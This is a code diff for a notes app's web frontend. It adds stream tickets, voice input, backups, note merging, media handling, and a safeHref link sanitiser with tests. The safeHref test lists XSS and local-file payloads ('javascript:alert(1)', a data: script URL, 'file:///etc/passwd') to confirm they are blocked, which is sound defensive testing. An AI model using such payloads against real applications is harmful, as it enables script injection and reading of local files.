@@ -118,7 +126,7 @@ describe('realtime fallback', () => {
it('a buffering proxy (stream opens, no events) switches SSE off for this tab', async () => {
sessionStorage.setItem('mindsift_ws_blocked', 'true');
const api = await loadApi();
api.connectWebSocket();
await api.connectWebSocket();
const es = FakeEventSource.instances[0];
es.open();
await vi.advanceTimersByTimeAsync(5_500);
@@ -0,0 +1,38 @@
import { describe, it, expect } from 'vitest';
import { safeHref } from '../safeUrl';
describe('safeHref', () => {
it('keeps web and mail links', () => {
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
});
it('drops everything that could run code or load local data', () => {
for (const bad of [
'javascript:alert(1)',
'JaVaScRiPt:alert(1)',
' javascript:alert(1)',
'java\tscript:alert(1)',
'java\nscript:alert(1)',
'data:text/html,<script>alert(1)</script>',
'vbscript:msgbox(1)',
'file:///etc/passwd',
'/relative/path',
'',
]) {
expect(safeHref(bad)).toBeNull();
}
});
});
describe('Markdown links in task notes', () => {
it('render javascript: links as text, web links as links', async () => {
const { render } = await import('@testing-library/react');
const { MarkdownViewer } = await import('../markdown');
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
const links = Array.from(container.querySelectorAll('a'));
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
expect(container.textContent).toContain('Rechnung');
});
});
+1 -1
View File
@@ -53,7 +53,7 @@ describe('custom themes', () => {
expect(opt.isRounded).toBe(true);
});
it('supports polarized and suri built-in purple dark themes', () => {
it('supports polarized and suri built-in dark themes', () => {
setActiveTheme('polarized');
expect(getActiveTheme()).toBe('polarized');
expect(document.documentElement.getAttribute('data-theme')).toBe('polarized');
@@ -0,0 +1,133 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { act, renderHook, waitFor } from '@testing-library/react';
const getAuthStatus = vi.fn();
const transcribe = vi.fn();
vi.mock('../api', () => ({ api: { getAuthStatus: (...a: any[]) => getAuthStatus(...a), transcribe: (...a: any[]) => transcribe(...a) } }));
import { useVoiceInput } from '../useVoiceInput';
import { resetVoiceConfig } from '../voice';
class FakeMediaRecorder {
static isTypeSupported = (t: string) => t === 'audio/webm;codecs=opus';
state: 'inactive' | 'recording' = 'inactive';
mimeType = 'audio/webm;codecs=opus';
ondataavailable: ((e: { data: Blob }) => void) | null = null;
onstop: (() => void) | null = null;
constructor(public stream: any) {}
start() {
this.state = 'recording';
}
stop() {
this.state = 'inactive';
this.ondataavailable?.({ data: new Blob(['audio'], { type: this.mimeType }) });
this.onstop?.();
}
}
const stopTrack = vi.fn();
beforeEach(() => {
resetVoiceConfig();
getAuthStatus.mockReset();
transcribe.mockReset();
stopTrack.mockReset();
(window as any).MediaRecorder = FakeMediaRecorder;
Object.defineProperty(navigator, 'mediaDevices', {
configurable: true,
value: { getUserMedia: vi.fn(async () => ({ getTracks: () => [{ stop: stopTrack }] })) },
});
});
afterEach(() => {
delete (window as any).MediaRecorder;
delete (window as any).SpeechRecognition;
vi.useRealTimers();
});
describe('useVoiceInput', () => {
it('server mode: records, sends the audio to the own server and returns its text', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
transcribe.mockResolvedValue('Milch kaufen');
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
expect(result.current.available).toBe(true);
await act(async () => {
await result.current.start();
});
expect(result.current.state).toBe('listening');
await act(async () => {
await result.current.stop();
});
expect(transcribe).toHaveBeenCalledTimes(1);
expect((transcribe.mock.calls[0][0] as Blob).type).toBe('audio/webm;codecs=opus');
expect(onText).toHaveBeenCalledWith('Milch kaufen', true);
expect(result.current.state).toBe('idle');
expect(stopTrack).toHaveBeenCalled(); // microphone released
});
it('server mode: cancel throws the recording away', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
await act(async () => {
await result.current.start();
});
act(() => result.current.cancel());
expect(transcribe).not.toHaveBeenCalled();
expect(onText).not.toHaveBeenCalled();
expect(result.current.state).toBe('idle');
});
it('server mode: a failing server reports an error instead of text', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
transcribe.mockRejectedValue(new Error('Spracherkennung fehlgeschlagen'));
const onText = vi.fn();
const onError = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText, onError }));
await waitFor(() => expect(result.current.mode).toBe('server'));
await act(async () => {
await result.current.start();
});
await act(async () => {
await result.current.stop();
});
expect(onError).toHaveBeenCalledWith('Spracherkennung fehlgeschlagen');
expect(onText).not.toHaveBeenCalled();
expect(result.current.state).toBe('idle');
});
it('server mode: stops by itself after the maximum length', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 5 } });
transcribe.mockResolvedValue('Zu lang');
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
vi.useFakeTimers();
await act(async () => {
await result.current.start();
});
await act(async () => {
vi.advanceTimersByTime(5000);
});
vi.useRealTimers();
await waitFor(() => expect(onText).toHaveBeenCalledWith('Zu lang', true));
});
it('hides the microphone when switched off, and without browser recognition', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'off', maxSeconds: 600 } });
const off = renderHook(() => useVoiceInput({ onText: vi.fn() }));
await waitFor(() => expect(off.result.current.mode).toBe('off'));
expect(off.result.current.available).toBe(false);
resetVoiceConfig();
getAuthStatus.mockResolvedValue({ voice: { mode: 'browser', maxSeconds: 600 } });
const none = renderHook(() => useVoiceInput({ onText: vi.fn() }));
await waitFor(() => expect(none.result.current.mode).toBe('unsupported'));
expect(none.result.current.available).toBe(false);
});
});
+164 -32
View File
@@ -4,6 +4,9 @@ import {
DashboardStats,
Document,
TrashedDocument,
BackupFile,
DataSection,
ApiKeyScope,
Backlink,
DocumentBlock,
DocShare,
@@ -16,7 +19,6 @@ import {
SharedFolder,
FolderShare,
Space,
SpaceMember,
SpaceShare,
SystemSettings,
SharingMode,
@@ -25,6 +27,7 @@ import {
Team,
TaskList,
TaskListShare,
Session,
Thought,
SubTask,
SearchResults,
@@ -32,6 +35,8 @@ import {
TagSummary,
User,
UserInvite,
VoiceAdminStatus,
MergeResult,
WSMessage,
} from './types';
import { extractHashtags } from './hashtags';
@@ -143,6 +148,10 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
window.dispatchEvent(new CustomEvent('mindsift:unauthorized'));
}
// Sliding session: the server hands out a fresh token once a day (or after a password change)
const renewed = res.headers.get('X-Session-Token');
if (renewed && res.ok) setToken(renewed);
if (!res.ok) {
let errMsg = `HTTP ${res.status}`;
try {
@@ -207,6 +216,14 @@ export const api = {
}
},
async listSessions(): Promise<Session[]> {
return ensureArray(await request<Session[]>('/api/v1/auth/sessions'));
},
async endSession(id: string): Promise<void> {
await request(`/api/v1/auth/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
},
async revokeAllSessions(): Promise<void> {
await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' });
},
@@ -268,6 +285,7 @@ export const api = {
displayName?: string;
email?: string;
password?: string;
currentPassword?: string;
avatarUrl?: string;
alarmChannels?: string[];
alarmEmail?: string;
@@ -691,6 +709,29 @@ export const api = {
return request<TrashedDocument[]>('/api/v1/documents/trash');
},
/** Turns a bullet and its children into a note of its own; the bullet becomes a [[link]]. */
async extractBranch(docId: string, blockId: string, clientId: string): Promise<Document> {
return request<Document>(`/api/v1/documents/${docId}/extract`, {
method: 'POST',
body: JSON.stringify({ blockId, clientId }),
});
},
/** Appends the source note to the target; the source goes to the trash. */
async mergeDocuments(targetId: string, sourceId: string): Promise<MergeResult> {
return request<MergeResult>(`/api/v1/documents/${targetId}/merge`, {
method: 'POST',
body: JSON.stringify({ sourceId }),
});
},
async undoMerge(m: MergeResult): Promise<void> {
await request(`/api/v1/documents/${m.targetId}/merge/undo`, {
method: 'POST',
body: JSON.stringify({ sourceId: m.sourceId, headingId: m.headingId }),
});
},
async restoreDocument(id: string): Promise<void> {
await request(`/api/v1/documents/${id}/restore`, { method: 'POST' });
},
@@ -1031,6 +1072,26 @@ export const api = {
await request(`/api/v1/admin/invites/${id}`, { method: 'DELETE' });
},
async adminVoiceStatus(): Promise<VoiceAdminStatus> {
return request<VoiceAdminStatus>('/api/v1/admin/voice');
},
// Sends a recording to the own Whisper server (voice mode "server") and returns the text
async transcribe(audio: Blob): Promise<string> {
const token = getToken();
const ext = audio.type.includes('mp4') ? 'm4a' : audio.type.includes('ogg') ? 'ogg' : 'webm';
const form = new FormData();
form.append('file', audio, `aufnahme.${ext}`);
const res = await fetch('/api/v1/voice/transcribe', {
method: 'POST',
headers: token ? { Authorization: `Bearer ${token}` } : {},
body: form,
});
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || `Spracherkennung fehlgeschlagen (HTTP ${res.status})`);
return data.text || '';
},
async adminGetSettings(): Promise<SystemSettings> {
return request<SystemSettings>('/api/v1/admin/settings');
},
@@ -1108,10 +1169,10 @@ export const api = {
return ensureArray(res);
},
async createAPIKey(name: string): Promise<APIKey> {
async createAPIKey(name: string, scopes: ApiKeyScope[]): Promise<APIKey> {
return request<APIKey>('/api/v1/keys', {
method: 'POST',
body: JSON.stringify({ name }),
body: JSON.stringify({ name, scopes }),
});
},
@@ -1119,19 +1180,23 @@ export const api = {
await request(`/api/v1/keys/${id}`, { method: 'DELETE' });
},
/** Simulator: sends like an external system would, with the given key or else the own session. */
async testWebhookIngest(
token: string,
title: string,
priority: PriorityLevel,
tags: string[]
): Promise<{ status: string; thought: Thought }> {
return request<{ status: string; thought: Thought }>(
`/api/v1/webhooks/ingest?token=${encodeURIComponent(token)}`,
{
method: 'POST',
body: JSON.stringify({ title, priority, tags }),
}
);
apiKey: string | null,
payload: {
title: string;
priority?: PriorityLevel;
tags?: string[];
target?: 'triage' | 'task' | 'list_item';
taskListId?: string;
listId?: string;
}
): Promise<{ status: string }> {
return request<{ status: string }>('/api/v1/webhooks/ingest', {
method: 'POST',
headers: apiKey ? { 'X-API-Key': apiKey } : {},
body: JSON.stringify(payload),
});
},
async searchAll(q: string): Promise<SearchResults> {
@@ -1151,7 +1216,8 @@ export const api = {
source: 'mindsift' | 'obsidian',
file: File,
preview: boolean,
mode: 'merge' | 'restore' = 'merge'
mode: 'merge' | 'restore' = 'merge',
sections?: DataSection[]
): Promise<ImportSummary> {
const token = getToken();
const form = new FormData();
@@ -1159,6 +1225,7 @@ export const api = {
const params = new URLSearchParams();
if (preview) params.set('preview', '1');
if (mode === 'restore') params.set('mode', 'restore');
if (sections && sections.length > 0) params.set('sections', sections.join(','));
const res = await fetch(`/api/v1/import/${source}${params.toString() ? `?${params}` : ''}`, {
method: 'POST',
headers: token ? { Authorization: `Bearer ${token}` } : {},
@@ -1169,6 +1236,33 @@ export const api = {
return data as ImportSummary;
},
// --- Automatic server backups ---
async adminListBackups(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups'));
},
async adminRunBackup(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups', { method: 'POST' }));
},
async adminDownloadBackup(name: string): Promise<Blob> {
return downloadBlob(`/api/v1/admin/backups/${encodeURIComponent(name)}`);
},
async listMyBackups(): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>('/api/v1/backups'));
},
async downloadMyBackup(name: string): Promise<Blob> {
return downloadBlob(`/api/v1/backups/${encodeURIComponent(name)}`);
},
async restoreMyBackup(name: string, mode: 'merge' | 'restore', sections: DataSection[], preview = false): Promise<ImportSummary> {
const params = new URLSearchParams({ mode, sections: sections.join(',') });
if (preview) params.set('preview', '1');
return request<ImportSummary>(`/api/v1/backups/${encodeURIComponent(name)}/restore?${params}`, { method: 'POST' });
},
// Danger zone: both need the current password
async purgeOwnData(password: string): Promise<void> {
await request('/api/v1/user/data', { method: 'DELETE', body: JSON.stringify({ password }) });
@@ -1204,19 +1298,28 @@ let isRealtimeConnectedState = false;
let manualDisconnect = false;
let wsReconnectDelay = 2000;
export function buildWebSocketURL(listId?: string): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const token = getToken() || '';
if (listId) {
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?token=${encodeURIComponent(token)}`;
// WebSocket and EventSource cannot send headers, so instead of the session token (which would land in
// proxy logs) every connection gets a one-time ticket, valid for a minute (POST /auth/stream-ticket).
async function fetchStreamTicket(): Promise<string | null> {
try {
const res = await request<{ ticket?: string }>('/api/v1/auth/stream-ticket', { method: 'POST' });
return res?.ticket || null;
} catch {
return null;
}
return `${protocol}//${window.location.host}/api/v1/ws?token=${encodeURIComponent(token)}`;
}
export function buildSSEURL(listId?: string, docId?: string, rooms?: string[]): string {
const token = getToken() || '';
export function buildWebSocketURL(ticket: string, listId?: string): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
if (listId) {
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?ticket=${encodeURIComponent(ticket)}`;
}
return `${protocol}//${window.location.host}/api/v1/ws?ticket=${encodeURIComponent(ticket)}`;
}
export function buildSSEURL(ticket: string, listId?: string, docId?: string, rooms?: string[]): string {
const params = new URLSearchParams();
if (token) params.set('token', token);
params.set('ticket', ticket);
if (listId) params.set('listId', listId);
if (docId) params.set('docId', docId);
if (rooms && rooms.length > 0) params.set('rooms', rooms.join(','));
@@ -1304,7 +1407,9 @@ function switchToSSE(reason: string) {
connectSSE();
}
export function connectSSE(rooms?: string[]): void {
let sseTicketPending = false;
export async function connectSSE(rooms?: string[]): Promise<void> {
if (rooms) {
rooms.forEach((r) => globalSubscribedRooms.add(r));
}
@@ -1323,8 +1428,20 @@ export function connectSSE(rooms?: string[]): void {
activeGlobalSSE = null;
}
if (sseTicketPending) return;
sseTicketPending = true;
const ticket = await fetchStreamTicket();
sseTicketPending = false;
if (manualDisconnect || !getToken()) return;
if (!ticket) {
// Server unreachable or session gone: try again later like after a dropped stream
notifyRealtimeStatusChange(false, 'none');
sseReconnectTimer = setTimeout(() => connectSSE(), sseReconnectDelay);
return;
}
try {
const url = buildSSEURL(undefined, undefined, Array.from(globalSubscribedRooms));
const url = buildSSEURL(ticket, undefined, undefined, Array.from(globalSubscribedRooms));
const es = new EventSource(url);
activeGlobalSSE = es;
@@ -1397,15 +1514,16 @@ export function connectSSE(rooms?: string[]): void {
}
}
export function connectWebSocket(): void {
let wsTicketPending = false;
export async function connectWebSocket(): Promise<void> {
const token = getToken();
if (!token) return;
manualDisconnect = false;
// If proxy blocked WebSocket previously, do not attempt failing WebSocket; stay on SSE
if (isWsBlockedByProxy) {
connectSSE();
return;
return connectSSE();
}
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
@@ -1416,8 +1534,22 @@ export function connectWebSocket(): void {
clearTimeout(wsReconnectTimer);
clearTimeout(sseReconnectTimer);
if (wsTicketPending) return;
wsTicketPending = true;
const ticket = await fetchStreamTicket();
wsTicketPending = false;
if (manualDisconnect || !getToken()) return;
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
return;
}
if (!ticket) {
notifyRealtimeStatusChange(false, 'none');
wsReconnectTimer = setTimeout(() => connectWebSocket(), wsReconnectDelay);
return;
}
try {
const url = buildWebSocketURL();
const url = buildWebSocketURL(ticket);
const ws = new WebSocket(url);
activeGlobalWS = ws;
@@ -1501,7 +1633,7 @@ export function connectWebSocket(): void {
}
};
ws.onerror = (e) => {
ws.onerror = () => {
clearTimeout(wsConnectionWatchdog);
switchToSSE('WebSocket Fehler (Handshake/Verbindung verweigert)');
};
@@ -49,7 +49,7 @@ describe('diffFlat', () => {
return Math.floor((seed / 2147483648) * n);
};
let current: DocumentBlock[] = [B('x0', 0)];
let d = build(current);
const d = build(current);
for (let step = 0; step < 300; step++) {
const next = current.map((b) => ({ ...b }));
const i = rnd(next.length);
@@ -335,6 +335,29 @@ describe('DocSyncEngine', () => {
expect(contents(a)).toEqual(expect.arrayContaining(['B hat geändert', 'Start + A']));
});
it('typing in a rhythm (several edits per sync) causes no conflict with oneself', async () => {
const server = new FakeServer();
const net = new FakeNet(server);
const engine = await startEngine(net);
engine.focusBlock('b1');
// Pauses longer than the field's debounce but shorter than the sync debounce: several edits per sync
for (const text of ['S', 'Sc', 'Sch']) edit(engine, (b) => [{ ...b[0], content: text }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schr' }]);
edit(engine, (b) => [{ ...b[0], content: 'Schre' }]);
// More typing while the request is on the wire
net.duringRequest = () => edit(engine, (b) => [{ ...b[0], content: 'Schrei' }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schreib' }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schreibe' }]);
await engine.syncNow();
expect(engine.getState().conflicts).toEqual([]);
expect(serverContents(server)).toEqual(['Schreibe']);
expect(contents(engine)).toEqual(['Schreibe']);
});
it('viewers cannot change anything', async () => {
const server = new FakeServer();
const viewer = await startEngine(new FakeNet(server, 'viewer'));
+4 -1
View File
@@ -462,7 +462,10 @@ export class DocSyncEngine {
private recompute(): void {
const v = cloneDoc(this.confirmed);
for (const op of [...(this.inflight || []), ...this.pending]) {
// Pending ops count the way they will be sent: formBatch folds all text changes of a block into one,
// so the server raises its version once. Applying every keystroke here would number local versions
// ahead of the server, and the next edit of the focused block would conflict with the user's own text.
for (const op of [...(this.inflight || []), ...formBatch(this.pending)]) {
const local = { ...op };
if (local.kind === 'set_content') local.baseVersion = v.blocks.get(local.blockId!)?.version ?? 0;
if (local.kind === 'set_title') local.baseVersion = v.titleVersion;
+15
View File
@@ -0,0 +1,15 @@
// Saves a downloaded file. Works on mobile browsers too: the link must be in the document and the
// object URL alive until the click ran.
export function saveBlob(blob: Blob, filename: string): void {
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
a.remove();
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
}
export const formatBytes = (n: number): string =>
n < 1024 ? `${n} B` : n < 1024 * 1024 ? `${(n / 1024).toFixed(0)} KB` : `${(n / 1024 / 1024).toFixed(1)} MB`;
+85
View File
@@ -0,0 +1,85 @@
// Link previews in notes: a card above a bullet that contains a plain web address. The server fetches
// the page (https only) and keeps title, description, picture and icon; the browser only talks to
// MindSift. Hiding the card for one link turns the address into a named link [Titel](url), so the
// choice syncs with the note; a global switch (this device) turns all previews off.
import { useEffect, useState } from 'react';
import { getToken } from './api';
export interface LinkPreview {
key: string;
url: string;
title: string;
description: string;
siteName: string;
hasImage: boolean;
hasIcon: boolean;
ok: boolean;
}
// First plain https address in a text (not inside [text](url), not right after "(" or "<")
const BARE_URL_RE = /(^|[\s])(https:\/\/[^\s<>()\]]+[^\s<>()\].,;:!?'"])/;
export function firstBareUrl(content: string): string | null {
const m = BARE_URL_RE.exec(content || '');
return m ? m[2] : null;
}
/** Replaces the address by a named link, which shows no preview. */
export function hidePreviewContent(content: string, url: string, title: string): string {
const label = (title || new URL(url).hostname).replace(/[[\]]/g, '').trim() || url;
return content.replace(url, `[${label}](${url})`);
}
const cache = new Map<string, Promise<LinkPreview | null>>();
export function loadLinkPreview(url: string): Promise<LinkPreview | null> {
let p = cache.get(url);
if (!p) {
p = (async () => {
const token = getToken();
const res = await fetch(`/api/v1/link-preview?url=${encodeURIComponent(url)}`, {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
if (!res.ok) return null; // demo, http link, offline: just no card
const data = (await res.json()) as LinkPreview;
return data.ok ? data : null;
})().catch(() => null);
cache.set(url, p);
}
return p;
}
const SETTING_KEY = 'mindsift_link_previews';
const SETTING_EVENT = 'mindsift:link-previews';
export function linkPreviewsEnabled(): boolean {
try {
return localStorage.getItem(SETTING_KEY) !== 'off';
} catch {
return true;
}
}
export function setLinkPreviewsEnabled(on: boolean): void {
try {
localStorage.setItem(SETTING_KEY, on ? 'on' : 'off');
} catch {
// private mode: only for this page
}
window.dispatchEvent(new CustomEvent(SETTING_EVENT));
}
/** The global switch, kept in sync across all open notes and tabs. */
export function useLinkPreviewsEnabled(): boolean {
const [on, setOn] = useState(linkPreviewsEnabled);
useEffect(() => {
const update = () => setOn(linkPreviewsEnabled());
window.addEventListener(SETTING_EVENT, update);
window.addEventListener('storage', update);
return () => {
window.removeEventListener(SETTING_EVENT, update);
window.removeEventListener('storage', update);
};
}, []);
return on;
}
+3 -2
View File
@@ -1,4 +1,5 @@
import React from 'react';
import { safeHref } from './safeUrl';
/**
* Parses inline markdown:
@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
{token.slice(2, -2)}
</del>
);
} else if (token.startsWith('[') && match[2] && match[3]) {
} else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
const label = match[2];
const url = match[3];
const url = safeHref(match[3]) as string;
elements.push(
<a
key={key}
+131
View File
@@ -0,0 +1,131 @@
// Images and audio in notes. A block points to its file through its content:
// image ![Beschriftung](media:med_…)
// audio [Beschriftung](media:med_…)
// so the reference travels with the normal note sync. Files are loaded with the login (fetch) and
// shown as blob: URLs; there are no public links.
import { getToken } from './api';
const MEDIA_RE = /^!?\[((?:[^\]\\]|\\.)*)\]\(media:(med_[0-9a-f]+)\)$/;
export interface MediaRef {
id: string;
caption: string;
}
export function parseMediaContent(content: string): MediaRef | null {
const m = MEDIA_RE.exec((content || '').trim());
if (!m) return null;
return { id: m[2], caption: m[1].replace(/\\(.)/g, '$1') };
}
export function mediaContent(kind: 'image' | 'audio', id: string, caption = ''): string {
const safe = caption.replace(/[\r\n]+/g, ' ').replace(/([\\\]])/g, '\\$1');
return `${kind === 'image' ? '!' : ''}[${safe}](media:${id})`;
}
// Loaded files, once per page. The Blob is kept as well: the CSP does not allow fetch() on blob: URLs.
const loaded = new Map<string, Promise<{ blob: Blob; url: string }>>();
function loadMedia(id: string): Promise<{ blob: Blob; url: string }> {
return loadAuthorized(`/api/v1/media/${encodeURIComponent(id)}`);
}
/** Any picture of the API (needs the login, so no plain <img src>), as Blob plus blob: URL. */
export function loadAuthorized(path: string): Promise<{ blob: Blob; url: string }> {
let p = loaded.get(path);
if (!p) {
p = (async () => {
const token = getToken();
const res = await fetch(path, {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
if (!res.ok) throw new Error(res.status === 404 ? 'Datei nicht gefunden' : `HTTP ${res.status}`);
const blob = await res.blob();
return { blob, url: URL.createObjectURL(blob) };
})();
p.catch(() => loaded.delete(path)); // try again next time (e.g. was offline)
loaded.set(path, p);
}
return p;
}
/** blob: URL of a file for <img>/<audio>. */
export function mediaObjectURL(id: string): Promise<string> {
return loadMedia(id).then((m) => m.url);
}
/** The file itself, e.g. to send a recording to the speech recognition. */
export function mediaBlob(id: string): Promise<Blob> {
return loadMedia(id).then((m) => m.blob);
}
export interface UploadedMedia {
id: string;
kind: 'image' | 'audio';
mime: string;
size: number;
url: string;
}
async function mediaRequest(path: string, init: RequestInit): Promise<UploadedMedia> {
const token = getToken();
const res = await fetch(path, {
...init,
headers: { ...(init.headers as Record<string, string>), ...(token ? { Authorization: `Bearer ${token}` } : {}) },
});
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || `Hochladen fehlgeschlagen (HTTP ${res.status})`);
return data as UploadedMedia;
}
export function uploadMedia(docId: string, file: Blob, filename: string): Promise<UploadedMedia> {
const form = new FormData();
form.append('file', file, filename);
return mediaRequest(`/api/v1/documents/${encodeURIComponent(docId)}/media`, { method: 'POST', body: form });
}
/** Lets the server copy an external image (https). */
export function copyExternalImage(docId: string, url: string): Promise<UploadedMedia> {
return mediaRequest(`/api/v1/documents/${encodeURIComponent(docId)}/media/fetch`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url }),
});
}
const MAX_EDGE = 2048;
function canvasBlob(canvas: HTMLCanvasElement, type: string, quality: number): Promise<Blob | null> {
return new Promise((resolve) => canvas.toBlob((b) => resolve(b), type, quality));
}
/**
* Shrinks photos to at most 2048 px and stores them as WebP (JPEG where the browser cannot write WebP).
* Re-encoding also drops EXIF data such as the location. GIFs stay as they are (animation); anything
* the browser cannot decode is sent unchanged and checked by the server.
*/
export async function prepareImage(file: Blob): Promise<{ blob: Blob; name: string }> {
if (file.type === 'image/gif' || typeof createImageBitmap === 'undefined') return { blob: file, name: 'bild' };
let bitmap: ImageBitmap;
try {
bitmap = await createImageBitmap(file, { imageOrientation: 'from-image' } as ImageBitmapOptions);
} catch {
return { blob: file, name: 'bild' };
}
const scale = Math.min(1, MAX_EDGE / Math.max(bitmap.width, bitmap.height));
const canvas = document.createElement('canvas');
canvas.width = Math.max(1, Math.round(bitmap.width * scale));
canvas.height = Math.max(1, Math.round(bitmap.height * scale));
const ctx = canvas.getContext('2d');
if (!ctx) return { blob: file, name: 'bild' };
ctx.drawImage(bitmap, 0, 0, canvas.width, canvas.height);
bitmap.close?.();
const webp = await canvasBlob(canvas, 'image/webp', 0.82);
if (webp && webp.type === 'image/webp') return { blob: webp, name: 'bild.webp' };
// No WebP encoder (older Safari): JPEG on white, since JPEG has no transparency
ctx.globalCompositeOperation = 'destination-over';
ctx.fillStyle = '#ffffff';
ctx.fillRect(0, 0, canvas.width, canvas.height);
const jpeg = await canvasBlob(canvas, 'image/jpeg', 0.85);
return jpeg ? { blob: jpeg, name: 'bild.jpg' } : { blob: file, name: 'bild' };
}
+8
View File
@@ -0,0 +1,8 @@
// Same rule as the server (auth.ValidatePassword): at least 8 characters, not only spaces.
// Only for setting a password; logging in with an older, shorter one keeps working.
export const MIN_PASSWORD_LENGTH = 8;
export const passwordProblem = (password: string): string | null =>
!password.trim() || Array.from(password).length < MIN_PASSWORD_LENGTH
? `Das Passwort muss mindestens ${MIN_PASSWORD_LENGTH} Zeichen lang sein`
: null;
+16
View File
@@ -0,0 +1,16 @@
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
// context when clicked, so it is shown as plain text instead (FLAW-28).
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
export function safeHref(raw: string): string | null {
const value = raw.trim();
if (!value) return null;
try {
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
const url = new URL(value);
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
} catch {
return null; // relative or broken: not a link
}
}
+6 -6
View File
@@ -70,13 +70,13 @@ export const AVAILABLE_THEMES: ThemeOption[] = [
},
{
id: 'polarized',
name: 'Polarized (Ultraviolet)',
subtitle: 'Tiefdunkles Obsidian mit elektrischem Violett (0px)',
name: 'Polarized (Emerald / Teal)',
subtitle: 'Tiefdunkles Obsidian mit elektrischem Türkis/Grün (0px)',
file: 'src/themes/theme-polarized.css',
previewBg: '#0d0b14',
previewPanel: '#151221',
previewAccent: '#a855f7',
previewText: '#f5f3ff',
previewBg: '#090e11',
previewPanel: '#10181c',
previewAccent: '#14b8a6',
previewText: '#f0fdfa',
isRounded: false,
},
{
+73 -3
View File
@@ -10,6 +10,10 @@ export interface AuthStatus {
sharingMode?: SharingMode;
// "Passwort vergessen?" works (SMTP and BASE_URL configured)
passwordReset?: boolean;
// Demo mode with periodic reset: next reset (ISO) and seconds until then
demoNextReset?: string;
demoResetInSeconds?: number;
demoResetMinutes?: number;
// Impressum / Datenschutz of this instance (LEGAL_* environment variables)
legal?: {
imprintUrl?: string;
@@ -17,6 +21,26 @@ export interface AuthStatus {
privacyUrl?: string;
hasPrivacyContent?: boolean;
};
// Voice input: own Whisper server, the browser's recognition, or switched off (STT_* environment)
voice?: { mode: VoiceMode; maxSeconds: number };
}
export type VoiceMode = 'server' | 'browser' | 'off';
// Admin view of the speech recognition (read-only, configured by environment)
export interface VoiceAdminStatus {
mode: VoiceMode;
demo: boolean;
url?: string;
model?: string;
language?: string;
apiKeySet?: boolean;
maxSeconds: number;
maxUploadMb: number;
maxParallel: number;
perUserPerHour: number;
timeoutSeconds: number;
status?: { reachable: boolean; modelReady: boolean; error?: string; checkedAt?: string };
}
// Who can see whom: nobody, members of the same organization, or everybody (Doku/sharing-and-permissions.md)
@@ -176,15 +200,38 @@ export interface SystemSettings {
smtpHost?: string;
smtpPort?: string; // sent as text, like the server stores it
smtpUser?: string;
smtpPass?: string;
smtpPass?: string; // write only: the server never sends it back, empty keeps the stored one
smtpPassSet?: boolean;
smtpFrom?: string;
smtpFromName?: string; // display name when smtpFrom is a bare address (empty = MindSift)
smtpTls?: boolean;
smtpSkipVerify?: boolean;
allowPrivateWebhooks?: boolean; // alarm webhooks may reach the LAN (and plain http)
smtpConfiguredViaEnv?: boolean;
// Automatic backups: daily time (HH:MM, server time zone) and days to keep them
backupEnabled?: boolean;
backupTime?: string;
backupRetentionDays?: number;
}
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress';
/** One file of a server backup listing. */
export interface BackupFile {
name: string;
size: number;
createdAt: string;
}
/** Parts of the own data a backup can be restored for. */
